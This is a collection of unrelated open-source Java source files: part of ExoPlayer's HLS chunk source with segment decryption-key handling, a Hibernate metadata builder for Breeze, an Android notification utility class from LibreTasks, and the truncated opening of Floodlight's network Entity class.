private final HlsPlaylistTracker playlistTracker;
private final TrackGroup trackGroup;
private final List<Format> muxedCaptionFormats;
private boolean isTimestampMaster;
private byte[] scratchSpace;
private IOException fatalError;
private Uri encryptionKeyUri;
private byte[] encryptionKey;
private String encryptionIvString;
private byte[] encryptionIv;
// Note: The track group in the selection is typically *not* equal to trackGroup. This is due to
// the way in which HlsSampleStreamWrapper generates track groups. Use only index based methods
// in TrackSelection to avoid unexpected behavior.
private TrackSelection trackSelection;
/**
* @param playlistTracker The {@link HlsPlaylistTracker} from which to obtain media playlists.
* @param variants The available variants.
* @param dataSourceFactory An {@link HlsDataSourceFactory} to create {@link DataSource}s for the
* chunks.
* @param timestampAdjusterProvider A provider of {@link TimestampAdjuster} instances. If
* multiple {@link HlsChunkSource}s are used for a single playback, they should all share the
* same provider.
* @param muxedCaptionFormats List of muxed caption {@link Format}s.
*/
public HlsChunkSource(HlsPlaylistTracker playlistTracker, HlsUrl[] variants,
HlsDataSourceFactory dataSourceFactory, TimestampAdjusterProvider timestampAdjusterProvider,
List<Format> muxedCaptionFormats) {
this.playlistTracker = playlistTracker;
this.variants = variants;
this.timestampAdjusterProvider = timestampAdjusterProvider;
this.muxedCaptionFormats = muxedCaptionFormats;
Format[] variantFormats = new Format[variants.length];
int[] initialTrackSelection = new int[variants.length];
for (int i = 0; i < variants.length; i++) {
variantFormats[i] = variants[i].format;
initialTrackSelection[i] = i;
}
mediaDataSource = dataSourceFactory.createDataSource(C.DATA_TYPE_MEDIA);
encryptionDataSource = dataSourceFactory.createDataSource(C.DATA_TYPE_DRM);
trackGroup = new TrackGroup(variantFormats);
trackSelection = new InitializationTrackSelection(trackGroup, initialTrackSelection);
}
/**
* If the source is currently having difficulty providing chunks, then this method throws the
* underlying error. Otherwise does nothing.
*
* @throws IOException The underlying error.
*/
public void maybeThrowError() throws IOException {
if (fatalError != null) {
throw fatalError;
}
}
/**
* Returns the track group exposed by the source.
*/
public TrackGroup getTrackGroup() {
return trackGroup;
}
/**
* Selects tracks for use.
*
* @param trackSelection The track selection.
*/
public void selectTracks(TrackSelection trackSelection) {
this.trackSelection = trackSelection;
}
/**
* Resets the source.
*/
public void reset() {
fatalError = null;
}
/**
* Sets whether this chunk source is responsible for initializing timestamp adjusters.
*
* @param isTimestampMaster True if this chunk source is responsible for initializing timestamp
* adjusters.
*/
public void setIsTimestampMaster(boolean isTimestampMaster) {
this.isTimestampMaster = isTimestampMaster;
}
/**
* Returns the next chunk to load.
* <p>
* If a chunk is available then {@link HlsChunkHolder#chunk} is set. If the end of the stream has
* been reached then {@link HlsChunkHolder#endOfStream} is set. If a chunk is not available but
* the end of the stream has not been reached, {@link HlsChunkHolder#playlist} is set to
* contain the {@link HlsUrl} that refers to the playlist that needs refreshing.
*
* @param previous The most recently loaded media chunk.
* @param playbackPositionUs The current playback position. If {@code previous} is null then this
* parameter is the position from which playback is expected to start (or restart) and hence
* should be interpreted as a seek position.
* @param out A holder to populate.
*/
public void getNextChunk(HlsMediaChunk previous, long playbackPositionUs, HlsChunkHolder out) {
int oldVariantIndex = previous == null ? C.INDEX_UNSET
: trackGroup.indexOf(previous.trackFormat);
// Use start time of the previous chunk rather than its end time because switching format will
// require downloading overlapping segments.
long bufferedDurationUs = previous == null ? 0
: Math.max(0, previous.startTimeUs - playbackPositionUs);
// Select the variant.
trackSelection.updateSelectedTrack(bufferedDurationUs);
int selectedVariantIndex = trackSelection.getSelectedIndexInTrackGroup();
boolean switchingVariant = oldVariantIndex != selectedVariantIndex;
HlsUrl selectedUrl = variants[selectedVariantIndex];
if (!playlistTracker.isSnapshotValid(selectedUrl)) {
out.playlist = selectedUrl;
// Retry when playlist is refreshed.
return;
}
HlsMediaPlaylist mediaPlaylist = playlistTracker.getPlaylistSnapshot(selectedUrl);
// Select the chunk.
int chunkMediaSequence;
if (previous == null || switchingVariant) {
long targetPositionUs = previous == null ? playbackPositionUs : previous.startTimeUs;
if (!mediaPlaylist.hasEndTag && targetPositionUs > mediaPlaylist.getEndTimeUs()) {
// If the playlist is too old to contain the chunk, we need to refresh it.
chunkMediaSequence = mediaPlaylist.mediaSequence + mediaPlaylist.segments.size();
} else {
chunkMediaSequence = Util.binarySearchFloor(mediaPlaylist.segments,
targetPositionUs - mediaPlaylist.startTimeUs, true,
!playlistTracker.isLive() || previous == null) + mediaPlaylist.mediaSequence;
if (chunkMediaSequence < mediaPlaylist.mediaSequence && previous != null) {
// We try getting the next chunk without adapting in case that's the reason for falling
// behind the live window.
selectedVariantIndex = oldVariantIndex;
selectedUrl = variants[selectedVariantIndex];
mediaPlaylist = playlistTracker.getPlaylistSnapshot(selectedUrl);
chunkMediaSequence = previous.getNextChunkIndex();
}
}
} else {
chunkMediaSequence = previous.getNextChunkIndex();
}
if (chunkMediaSequence < mediaPlaylist.mediaSequence) {
fatalError = new BehindLiveWindowException();
return;
}
int chunkIndex = chunkMediaSequence - mediaPlaylist.mediaSequence;
if (chunkIndex >= mediaPlaylist.segments.size()) {
if (mediaPlaylist.hasEndTag) {
out.endOfStream = true;
} else /* Live */ {
out.playlist = selectedUrl;
}
return;
}
// Handle encryption.
HlsMediaPlaylist.Segment segment = mediaPlaylist.segments.get(chunkIndex);
// Check if encryption is specified.
if (segment.isEncrypted) {
Uri keyUri = UriUtil.resolveToUri(mediaPlaylist.baseUri, segment.encryptionKeyUri);
if (!keyUri.equals(encryptionKeyUri)) {
// Encryption is specified and the key has changed.
out.chunk = newEncryptionKeyChunk(keyUri, segment.encryptionIV, selectedVariantIndex,
trackSelection.getSelectionReason(), trackSelection.getSelectionData());
return;
}
if (!Util.areEqual(segment.encryptionIV, encryptionIvString)) {
setEncryptionData(keyUri, segment.encryptionIV, encryptionKey);
}
} else {
clearEncryptionData();
}
DataSpec initDataSpec = null;
Segment initSegment = mediaPlaylist.initializationSegment;
if (initSegment != null) {
Uri initSegmentUri = UriUtil.resolveToUri(mediaPlaylist.baseUri, initSegment.url);
initDataSpec = new DataSpec(initSegmentUri, initSegment.byterangeOffset,
initSegment.byterangeLength, null);
}
// Compute start time of the next chunk.
long startTimeUs = mediaPlaylist.startTimeUs + segment.relativeStartTimeUs;
int discontinuitySequence = mediaPlaylist.discontinuitySequence
+ segment.relativeDiscontinuitySequence;
TimestampAdjuster timestampAdjuster = timestampAdjusterProvider.getAdjuster(
discontinuitySequence);
// Configure the data source and spec for the chunk.
Uri chunkUri = UriUtil.resolveToUri(mediaPlaylist.baseUri, segment.url);
DataSpec dataSpec = new DataSpec(chunkUri, segment.byterangeOffset, segment.byterangeLength,
null);
out.chunk = new HlsMediaChunk(mediaDataSource, dataSpec, initDataSpec, selectedUrl,
muxedCaptionFormats, trackSelection.getSelectionReason(), trackSelection.getSelectionData(),
startTimeUs, startTimeUs + segment.durationUs, chunkMediaSequence, discontinuitySequence,
isTimestampMaster, timestampAdjuster, previous, encryptionKey, encryptionIv);
}
/**
* Called when the {@link HlsSampleStreamWrapper} has finished loading a chunk obtained from this
* source.
*
* @param chunk The chunk whose load has been completed.
*/
public void onChunkLoadCompleted(Chunk chunk) {
if (chunk instanceof EncryptionKeyChunk) {
EncryptionKeyChunk encryptionKeyChunk = (EncryptionKeyChunk) chunk;
scratchSpace = encryptionKeyChunk.getDataHolder();
setEncryptionData(encryptionKeyChunk.dataSpec.uri, encryptionKeyChunk.iv,
encryptionKeyChunk.getResult());
}
}
/**
* Called when the {@link HlsSampleStreamWrapper} encounters an error loading a chunk obtained
* from this source.
*
* @param chunk The chunk whose load encountered the error.
* @param cancelable Whether the load can be canceled.
* @param error The error.
* @return Whether the load should be canceled.
*/
public boolean onChunkLoadError(Chunk chunk, boolean cancelable, IOException error) {
return cancelable && ChunkedTrackBlacklistUtil.maybeBlacklistTrack(trackSelection,
trackSelection.indexOf(trackGroup.indexOf(chunk.trackFormat)), error);
}
/**
* Called when a playlist is blacklisted.
*
* @param url The url that references the blacklisted playlist.
* @param blacklistMs The amount of milliseconds for which the playlist was blacklisted.
*/
public void onPlaylistBlacklisted(HlsUrl url, long blacklistMs) {
int trackGroupIndex = trackGroup.indexOf(url.format);
if (trackGroupIndex != C.INDEX_UNSET) {
int trackSelectionIndex = trackSelection.indexOf(trackGroupIndex);
if (trackSelectionIndex != C.INDEX_UNSET) {
trackSelection.blacklist(trackSelectionIndex, blacklistMs);
}
}
}
// Private methods.
private EncryptionKeyChunk newEncryptionKeyChunk(Uri keyUri, String iv, int variantIndex,
int trackSelectionReason, Object trackSelectionData) {
DataSpec dataSpec = new DataSpec(keyUri, 0, C.LENGTH_UNSET, null, DataSpec.FLAG_ALLOW_GZIP);
return new EncryptionKeyChunk(encryptionDataSource, dataSpec, variants[variantIndex].format,
trackSelectionReason, trackSelectionData, scratchSpace, iv);
}
private void setEncryptionData(Uri keyUri, String iv, byte[] secretKey) {
String trimmedIv;
if (iv.toLowerCase(Locale.getDefault()).startsWith("0x")) {
trimmedIv = iv.substring(2);
} else {
trimmedIv = iv;
}
byte[] ivData = new BigInteger(trimmedIv, 16).toByteArray();
byte[] ivDataWithPadding = new byte[16];
int offset = ivData.length > 16 ? ivData.length - 16 : 0;
System.arraycopy(ivData, offset, ivDataWithPadding, ivDataWithPadding.length - ivData.length
+ offset, ivData.length - offset);
encryptionKeyUri = keyUri;
encryptionKey = secretKey;
encryptionIvString = iv;
encryptionIv = ivDataWithPadding;
}
private void clearEncryptionData() {
encryptionKeyUri = null;
encryptionKey = null;
encryptionIvString = null;
encryptionIv = null;
}
// Private classes.
/**
* A {@link TrackSelection} to use for initialization.
*/
private static final class InitializationTrackSelection extends BaseTrackSelection {
private int selectedIndex;
public InitializationTrackSelection(TrackGroup group, int[] tracks) {
super(group, tracks);
selectedIndex = indexOf(group.getFormat(0));
}
@Override
public void updateSelectedTrack(long bufferedDurationUs) {
long nowMs = SystemClock.elapsedRealtime();
if (!isBlacklisted(selectedIndex, nowMs)) {
return;
}
// Try from lowest bitrate to highest.
for (int i = length - 1; i >= 0; i--) {
if (!isBlacklisted(i, nowMs)) {
selectedIndex = i;
return;
}
}
// Should never happen.
throw new IllegalStateException();
}
@Override
public int getSelectedIndex() {
return selectedIndex;
}
@Override
public int getSelectionReason() {
return C.SELECTION_REASON_UNKNOWN;
}
@Override
public Object getSelectionData() {
return null;
}
}
private static final class EncryptionKeyChunk extends DataChunk {
public final String iv;
private byte[] result;
public EncryptionKeyChunk(DataSource dataSource, DataSpec dataSpec, Format trackFormat,
int trackSelectionReason, Object trackSelectionData, byte[] scratchSpace, String iv) {
super(dataSource, dataSpec, C.DATA_TYPE_DRM, trackFormat, trackSelectionReason,
trackSelectionData, scratchSpace);
this.iv = iv;
}
@Override
protected void consume(byte[] data, int limit) throws IOException {
result = Arrays.copyOf(data, limit);
}
public byte[] getResult() {
return result;
}
}
}
| |
package com.psidox.dockyard.controller.breeze;
import com.psidox.dockyard.controller.breeze.metadata.Entity;
import com.psidox.dockyard.controller.breeze.metadata.Property;
import com.psidox.dockyard.controller.breeze.metadata.PropertyNavigation;
import com.psidox.dockyard.controller.breeze.metadata.Root;
import org.hibernate.SessionFactory;
import org.hibernate.cfg.Configuration;
import org.hibernate.engine.spi.SessionFactoryImplementor;
import org.hibernate.id.Assigned;
import org.hibernate.id.IdentifierGenerator;
import org.hibernate.id.IdentityGenerator;
import org.hibernate.metadata.ClassMetadata;
import org.hibernate.persister.entity.AbstractEntityPersister;
import org.hibernate.type.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.logging.Logger;
/**
* Builds a data structure containing the metadata required by Breeze. Rewrite of class written by Steve.
* @author Josh
*
*
*
*/
public class NewMetadataBuilder {
private SessionFactory sessionFactory;
private Configuration configuration;
private static final Logger log = Logger.getLogger("MetaDataBuilder");
public NewMetadataBuilder(SessionFactory sessionFactory) {
this.sessionFactory = sessionFactory;
}
/**
* Build the Breeze metadata as a nested HashMap.
* The result can be converted to JSON and sent to the Breeze client.
*/
public Root buildMetadata() throws Exception {
Root root = new Root();
for (ClassMetadata classMetadata: this.sessionFactory.getAllClassMetadata().values()) {
if (classMetadata instanceof AbstractEntityPersister) {
this.addClassToMetadata(root, (AbstractEntityPersister) classMetadata);
}
}
return root;
}
/**
* Add the metadata for an entity.
*/
void addClassToMetadata(Root root, AbstractEntityPersister entityPersister) throws NoSuchFieldException {
Class mappedClass = entityPersister.getMappedClass();
Entity entity = new Entity();
entity.setShortName(mappedClass.getSimpleName());
entity.setNamespace(mappedClass.getPackage().getName());
entity.setAutoGeneratedKeyType(this.getGeneratorType(entityPersister));
// Set superclass
String superClassEntityName = entityPersister.getMappedSuperclass();
if (superClassEntityName != null) {
Class superType = this.sessionFactory.getClassMetadata(superClassEntityName).getMappedClass();
entity.setBaseTypeName(superType.getSimpleName());
}
// Hibernate identifiers are excluded from the list of data properties, so we have to add them separately
if (entityPersister.hasIdentifierProperty() && this.hasOwnProperty(entityPersister, entityPersister.getIdentifierPropertyName())) {
Type propertyType = entityPersister.getIdentifierType();
Field field = mappedClass.getDeclaredField(entityPersister.getIdentifierPropertyName());
Property property = new Property();
property.setName(entityPersister.getIdentifierPropertyName());
property.setIsPartOfKey(true);
property.setIsNullable(false);
property.setDataType(propertyType.getName());
entity.addDataProperty(property);
}
// Build the properties of the entity
String[] propertyNames = entityPersister.getPropertyNames();
Type[] propertyTypes = entityPersister.getPropertyTypes();
boolean[] propertyNull = entityPersister.getPropertyNullability();
for (int i = 0; i < propertyNames.length; i++) {
log.info(propertyNames[i]);
System.out.println(mappedClass.getName());
// Skip property defined on superclass
if (!this.hasOwnProperty(entityPersister, propertyNames[i]))
continue;
// for (Field currentField: mappedClass.getFields()) {
// System.out.println(currentField.getName());
// }
Field field = mappedClass.getDeclaredField(propertyNames[i]);
// Skip association types until we handle all the data types, so the relatedDataPropertyMap will be populated.
if (propertyTypes[i].isAssociationType())
continue;
String[] propColumns = entityPersister.getPropertyColumnNames(propertyNames[i]); //getColumns(pClassProp);
if (propertyTypes[i].isComponentType()) {
// Complex type
} else {
// data property
}
Property property = new Property();
property.setName(propertyNames[i]);
property.setDataType(propertyTypes[i].getName());
entity.addDataProperty(property);
}
root.addEntity(entity);
// Hook up association properties
for (int i = 0; i < propertyNames.length; i++) {
// Skip property defined on superclass
if (!this.hasOwnProperty(entityPersister, propertyNames[i]))
continue;
// Skip non-association types since we've already handled them above
if (!propertyTypes[i].isAssociationType())
continue;
AssociationType associationType = (AssociationType)propertyTypes[i];
// propertyTypes[i].
///associationType.
//propertyTypes[i].get
//AssociationType
// entity.setShortName(mappedClass.getSimpleName());
// entity.setNamespace(mappedClass.getPackage().getName());
// entity.setAutoGeneratedKeyType(this.getGeneratorType(entityPersister));
//entityPersister.
PropertyNavigation propertyNavigation = new PropertyNavigation();
propertyNavigation.setName(propertyNames[i]);
propertyNavigation.setNamespace(mappedClass.getPackage().getName());
// Set the entity type of this association
if (propertyTypes[i].isCollectionType()) {
CollectionType collectionType = (CollectionType)propertyTypes[i];
Type elementType = collectionType.getElementType((SessionFactoryImplementor) this.sessionFactory);
propertyNavigation.setIsScalar(false);
propertyNavigation.setEntityTypeName(elementType.getReturnedClass());
} else {
propertyNavigation.setIsScalar(true);
propertyNavigation.setEntityTypeName(associationType.getReturnedClass());
}
for (String column: entityPersister.getPropertyColumnNames(propertyNames[i])) {
propertyNavigation.getForeignKeyNamesOnServer().add(column);
}
if (associationType.getForeignKeyDirection() == ForeignKeyDirection.FOREIGN_KEY_FROM_PARENT) {
// Normal relationship
if (associationType.getLHSPropertyName() != null)
propertyNavigation.getForeignKeyNamesOnServer().add("lhs-" + associationType.getLHSPropertyName());
if (associationType.getRHSUniqueKeyPropertyName() != null)
propertyNavigation.getForeignKeyNamesOnServer().add("rhs-" + associationType.getRHSUniqueKeyPropertyName());
if (associationType.getAssociatedEntityName((SessionFactoryImplementor)this.sessionFactory) != null)
propertyNavigation.getForeignKeyNamesOnServer().add("ass-" + associationType.getAssociatedEntityName((SessionFactoryImplementor)this.sessionFactory));
} else {
// Inverse foreign key, many-to-many relationships do not have a direct connection on the client or in metadata
}
if (propertyTypes[i].isCollectionType()) {
propertyNavigation.setIsScalar(false); // Collections are not scalar
} else {
propertyNavigation.setIsScalar(true);
}
entity.getNavigationProperties().add(propertyNavigation);
}
root.addEntity(entity);
root.getResourceEntityTypeMap().put(mappedClass.getSimpleName().toLowerCase(), entity.getEntityTypeName());
}
private String getGeneratorType(AbstractEntityPersister entityPersister) {
String generatorType = null;
IdentifierGenerator generator = entityPersister != null ? entityPersister.getIdentifierGenerator() : null;
if (generator != null) {
if (generator instanceof IdentityGenerator)
generatorType = "Identity";
else if (generator instanceof Assigned)
generatorType = "None";
else
generatorType = "KeyGenerator";
}
return generatorType;
}
/**
* Checks to see if a property is implemented in own class by checking to see if the parent
* has the property also.
*
* @param abstractEntityPersister
* @param propertyName
* @return
*/
boolean hasOwnProperty(AbstractEntityPersister abstractEntityPersister, String propertyName) {
for (Field field: abstractEntityPersister.getMappedClass().getDeclaredFields()) {
if (field.getName().equals(propertyName)) {
return true;
}
}
return false;
}
}
| |
/*
* Copyright (c) 2016 LibreTasks - https://github.com/biotinker/LibreTasks
*
* This file is free software: you may copy, redistribute and/or modify it
* under the terms of the GNU General Public License as published by the
* Free Software Foundation, either version 3 of the License, or (at your
* option) any later version.
*
* This file is distributed in the hope that it will be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* This file incorporates work covered by the following copyright and
* permission notice:
/*******************************************************************************
* Copyright 2009, 2010 Omnidroid - http://code.google.com/p/omnidroid
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
package libretasks.app.view.simple;
import libretasks.app.R;
import android.app.AlertDialog;
import android.app.Notification;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
import android.util.Log;
import android.view.Display;
import android.view.WindowManager;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.ListView;
/**
* Spare parts for UI work.
*/
public class UtilUI {
/** Alert users about standard info such as actions have been executed etc */
public static final int NOTIFICATION_ACTION = 0;
/**Alert users about potential system issues (throttle/etc.) */
public static final int NOTIFICATION_WARN = 1;
/**This is used rule with customized send notificaiton action is triggered */
public static final int NOTIFICATION_RULE = 2;
private static final String TAG = UtilUI.class.getSimpleName();
private UtilUI() {
}
/**
* Wraps call to displaying a simple message box.
*/
public static void showAlert(Context context, String title, String message) {
new AlertDialog.Builder(context).setTitle(title).setIcon(0).setMessage(message).setCancelable(
true).setPositiveButton("OK", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialoginterface, int i) {
}
}).show();
}
/**
* Send an Android Noficiation to the system.
*
* @param context - application Context
* @param nofityType - type of notification see NOTIFICATION_ constants declared above
* @param title - to display on notification
* @param message - to display on notification
*/
//this method could be called by several methods simultaneously with the same notifyType
//since all instances will be using and pdating values from sharedPreferences and updating same
//notification in status bar this method needs to be synchronized.
public static synchronized void showNotification(Context context, int notifyType, String title,
String message) {
if (message == null) {
Log.w("showNotification", "No user message provided");
message = context.getString(R.string.action_default_message);
}
if (title == null) {
Log.i("showNotification", "No title provided");
title = message;
}
SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences(context);
SharedPreferences.Editor editor = sharedPreferences.edit();
int numOfNotifications;
switch (notifyType) {
case NOTIFICATION_ACTION :
numOfNotifications = sharedPreferences.getInt(context.getString(R.string.pref_key_notification_action_count), 0);
if (++numOfNotifications == 1) {
editor.putString(context.getString(R.string.pref_key_notification_action_message), message);
}
editor.putInt(context.getString
(R.string.pref_key_notification_action_count), numOfNotifications);
break;
case NOTIFICATION_WARN :
numOfNotifications = sharedPreferences.getInt(context.getString(R.string.pref_key_notification_warn_count), 0);
if (++numOfNotifications == 1) {
editor.putString(context.getString(R.string.pref_key_notification_warn_message), message);
}
editor.putInt(context.getString(R.string.pref_key_notification_warn_count), numOfNotifications);
break;
case NOTIFICATION_RULE :
numOfNotifications = sharedPreferences.getInt(context.getString(R.string.pref_key_notification_rule_count), 0);
if (++numOfNotifications == 1) {
editor.putString(context.getString(R.string.pref_key_notification_rule_message), message);
editor.putString(context.getString(R.string.pref_key_notification_rule_title), title);
}
editor.putInt(context.getString(R.string.pref_key_notification_rule_count),
numOfNotifications);
break;
default :
Log.w(TAG, new IllegalArgumentException());
return;
}
editor.commit();
notify (context, notifyType, numOfNotifications, title, message);
}
private static void notify(Context context, int notifyType, int numOfNotifications,
String title, String message) {
// Start building notification
NotificationManager nm = (NotificationManager)context.getSystemService(Context.NOTIFICATION_SERVICE);
Notification notification = new Notification(R.drawable.icon, message, System.currentTimeMillis());
SharedPreferences prefs = PreferenceManager.getDefaultSharedPreferences(context);
// Link this notification to the Logs activity
Intent notificationIntent = new Intent(context, ActivityLogs.class);
switch (notifyType) {
case NOTIFICATION_ACTION :
notificationIntent.putExtra(ActivityLogs.KEY_TAB_TAG, ActivityLogs.TAB_TAG_ACTION_LOG);
if (numOfNotifications > 1) {
message = context.getString(R.string.notification_action, numOfNotifications);
title = context.getString(R.string.notification_action_title, numOfNotifications);
}
break;
case NOTIFICATION_WARN :
notificationIntent.putExtra(ActivityLogs.KEY_TAB_TAG, ActivityLogs.TAB_TAG_GENERAL_LOG);
if (numOfNotifications > 1) {
message = context.getString(R.string.notification_warn, numOfNotifications);
}
break;
case NOTIFICATION_RULE :
notificationIntent.putExtra(ActivityLogs.KEY_TAB_TAG, ActivityLogs.TAB_TAG_ACTION_LOG);
if (numOfNotifications > 1) {
message = context.getString(R.string.notification_rule, numOfNotifications);
}
break;
default :
Log.w(TAG, new IllegalArgumentException());
return;
}
PendingIntent contentIntent = PendingIntent.getActivity(context, notifyType, notificationIntent,
PendingIntent.FLAG_UPDATE_CURRENT);
notification.setLatestEventInfo(context, title, message, contentIntent);
// Set Preferences for notification options (sound/vibrate/lights
if (prefs.getBoolean(context.getString(R.string.pref_key_sound), false)) {
notification.defaults |= Notification.DEFAULT_SOUND;
}
if (prefs.getBoolean(context.getString(R.string.pref_key_vibrate), false)) {
notification.defaults |= Notification.DEFAULT_VIBRATE;
}
if (prefs.getBoolean(context.getString(R.string.pref_key_light), false)) {
notification.defaults |= Notification.DEFAULT_LIGHTS;
}
// Send the notification
nm.notify(notifyType, notification);
}
/**
* loads notifications that haven't been viewed. this method is called after boot is completed.
*
* @param context
* application context
*/
public static void loadNotifications(Context context) {
int numOfNotifications;
SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences(context);
numOfNotifications = sharedPreferences.getInt(context.getString(
R.string.pref_key_notification_warn_count), 0);
if (numOfNotifications > 0) {
notify(context, NOTIFICATION_WARN, numOfNotifications, context.getString(R.string.libretasks),
sharedPreferences.getString(context.getString(R.string
.pref_key_notification_warn_message), ""));
}
numOfNotifications = sharedPreferences.getInt(context.getString(
R.string.pref_key_notification_action_count), 0);
if (numOfNotifications > 0) {
notify(context, NOTIFICATION_ACTION, numOfNotifications, context.getString(
R.string.libretasks), sharedPreferences.getString(context.getString(
R.string.pref_key_notification_action_message), ""));
}
numOfNotifications = sharedPreferences.getInt(context.getString(
R.string.pref_key_notification_rule_count), 0);
if (numOfNotifications > 0) {
notify(context, NOTIFICATION_RULE, numOfNotifications, sharedPreferences.getString(context
.getString(R.string.pref_key_notification_rule_title), ""),sharedPreferences.getString(
context.getString(R.string.pref_key_notification_rule_message), ""));
}
}
/**
* clears notification from status bar
*
* @param context application context;
* @param notificationType
* id of notification to be canceled
*/
public static void clearNotification(Context context, int notificationType) {
SharedPreferences sharedPreferences = PreferenceManager.getDefaultSharedPreferences(context);
SharedPreferences.Editor editor = sharedPreferences.edit();
switch (notificationType) {
case NOTIFICATION_ACTION:
editor.putInt(context.getString(R.string.pref_key_notification_action_count), 0);
break;
case NOTIFICATION_RULE:
editor.putInt(context.getString(R.string.pref_key_notification_rule_count), 0);
break;
case NOTIFICATION_WARN:
editor.putInt(context.getString(R.string.pref_key_notification_warn_count), 0);
break;
default:
Log.w(TAG, new IllegalArgumentException());
return;
}
editor.commit();
NotificationManager nm = (NotificationManager)context.getSystemService(
Context.NOTIFICATION_SERVICE);
nm.cancel(notificationType);
}
/**
* Force-inflates a dialog main linear-layout to take max available screen space even though
* contents might not occupy full screen size.
*/
public static void inflateDialog(LinearLayout layout) {
WindowManager wm = (WindowManager) layout.getContext().getSystemService(
Context.WINDOW_SERVICE);
Display display = wm.getDefaultDisplay();
layout.setMinimumWidth(display.getWidth() - 30);
layout.setMinimumHeight(display.getHeight() - 40);
}
/**
* Uncheck any item that is currently selected in a ListView.
*/
public static void uncheckListViewSingleChoice(ListView listView) {
if (listView.getChoiceMode() == ListView.CHOICE_MODE_SINGLE) {
int checkedPosition = listView.getCheckedItemPosition();
if (checkedPosition > -1) {
listView.setItemChecked(checkedPosition, false);
}
}
else {
throw new IllegalArgumentException(
"UtilUI.uncheckListView() only works on lists using choice mode: CHOICE_MODE_SINGLE.");
}
}
/**
* Erases all shared preferences saved for an activity.
* @param context Context of caller.
* @param stateName State name used for both saving and loading preferences.
*/
public static void resetSharedPreferences(Context context, String stateName) {
SharedPreferences state = context.getSharedPreferences(
stateName, Context.MODE_WORLD_READABLE | Context.MODE_WORLD_WRITEABLE);
state.edit().clear().commit();
}
/**
* Replace text in the passed EditText with a new string. This method takes into account the
* cursor positions to do partial replacement depending on how much text is currently selected
* in the field.
*
* @param view The EditText field to do the replacement in.
* @param newText The new text string to insert in the field.
*/
public static void replaceEditText(EditText view, String newText) {
int start = Math.min(view.getSelectionStart(), view.getSelectionEnd());
int end = Math.max(view.getSelectionStart(), view.getSelectionEnd());
int diff = end - start;
String strContents = view.getText().toString();
StringBuilder sb = new StringBuilder(strContents.length() + newText.length() - diff);
sb.append(strContents.substring(0, start));
sb.append(newText);
sb.append(strContents.substring(end, strContents.length()));
view.setText(sb.toString());
}
}
| |
/**
* Copyright 2011,2012, Big Switch Networks, Inc.
* Originally created by David Erickson, Stanford University
*
* Licensed under the Apache License, Version 2.0 (the "License"); you may
* not use this file except in compliance with the License. You may obtain
* a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
* WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
* License for the specific language governing permissions and limitations
* under the License.
**/
package net.floodlightcontroller.devicemanager.internal;
import java.util.Date;
import net.floodlightcontroller.core.web.serializers.DPIDSerializer;
import net.floodlightcontroller.core.web.serializers.IPv4Serializer;
import net.floodlightcontroller.core.web.serializers.MACSerializer;
import net.floodlightcontroller.packet.IPv4;
import org.openflow.util.HexString;
import com.fasterxml.jackson.annotation.JsonIgnore;
import com.fasterxml.jackson.databind.annotation.JsonSerialize;
/**
* An entity on the network is a visible trace of a device that corresponds
* to a packet received from a particular interface on the edge of a network,
* with a particular VLAN tag, and a particular MAC address, along with any
* other packet characteristics we might want to consider as helpful for
* disambiguating devices.
*
* Entities are the most basic element of devices; devices consist of one or
* more entities. Entities are immutable once created, except for the last
* seen timestamp.
*
* @author readams
*
*/
public class Entity implements Comparable<Entity> {
/**
* Timeout for computing {@link Entity#activeSince}.
* @see {@link Entity#activeSince}
*/
protected static int ACTIVITY_TIMEOUT = 30000;
/**
* The MAC address associated with this entity
*/
protected long macAddress;
/**
* The IP address associated with this entity, or null if no IP learned
* from the network observation associated with this entity
*/
protected Integer ipv4Address;
/**
* The VLAN tag on this entity, or null if untagged
*/
protected Short vlan;
/**
* The DPID of the switch for the ingress point for this entity,
* or null if not present
*/
protected Long switchDPID;
/**
* The port number of the switch for the ingress point for this entity,
* or null if not present
*/
protected Integer switchPort;
/**
* The last time we observed this entity on the network
*/
protected Date lastSeenTimestamp;
/**
* The time between {@link Entity#activeSince} and
* {@link Entity#lastSeenTimestamp} is a period of activity for this
* entity where it was observed repeatedly. If, when the entity is
* observed, the is longer ago than the activity timeout,
* {@link Entity#lastSeenTimestamp} and {@link Entity#activeSince} will
* be set to the current time.
*/
protected Date activeSince;
private int hashCode = 0;
// ************
// Constructors
// ************
/**
* Create a new entity
*
* @param macAddress
* @param vlan
* @param ipv4Address
* @param switchDPID
* @param switchPort
* @param lastSeenTimestamp
*/
public Entity(long macAddress, Short vlan,
Integer ipv4Address, Long switchDPID, Integer switchPort,
Date lastSeenTimestamp) {
this.macAddress = macAddress;
this.ipv4Address = ipv4Address;
this.vlan = vlan;
this.switchDPID = switchDPID;
this.switchPort = switchPort;
this.lastSeenTimestamp = lastSeenTimestamp;
this.activeSince = lastSeenTimestamp;
}
// ***************
// Getters/Setters
// ***************
@JsonSerialize(using=MACSerializer.class)
public long getMacAddress() {
return macAddress;
}
@JsonSerialize(using=IPv4Serializer.class)
public Integer getIpv4Address() {
return ipv4Address;
}
public Short getVlan() {
return vlan;
}
@JsonSerialize(using=DPIDSerializer.class)
public Long getSwitchDPID() {
return switchDPID;
}
public Integer getSwitchPort() {
return switchPort;
}
@JsonIgnore
public boolean hasSwitchPort() {
return (switchDPID != null && switchPort != null);
}
public Date getLastSeenTimestamp() {
return lastSeenTimestamp;
}
/**
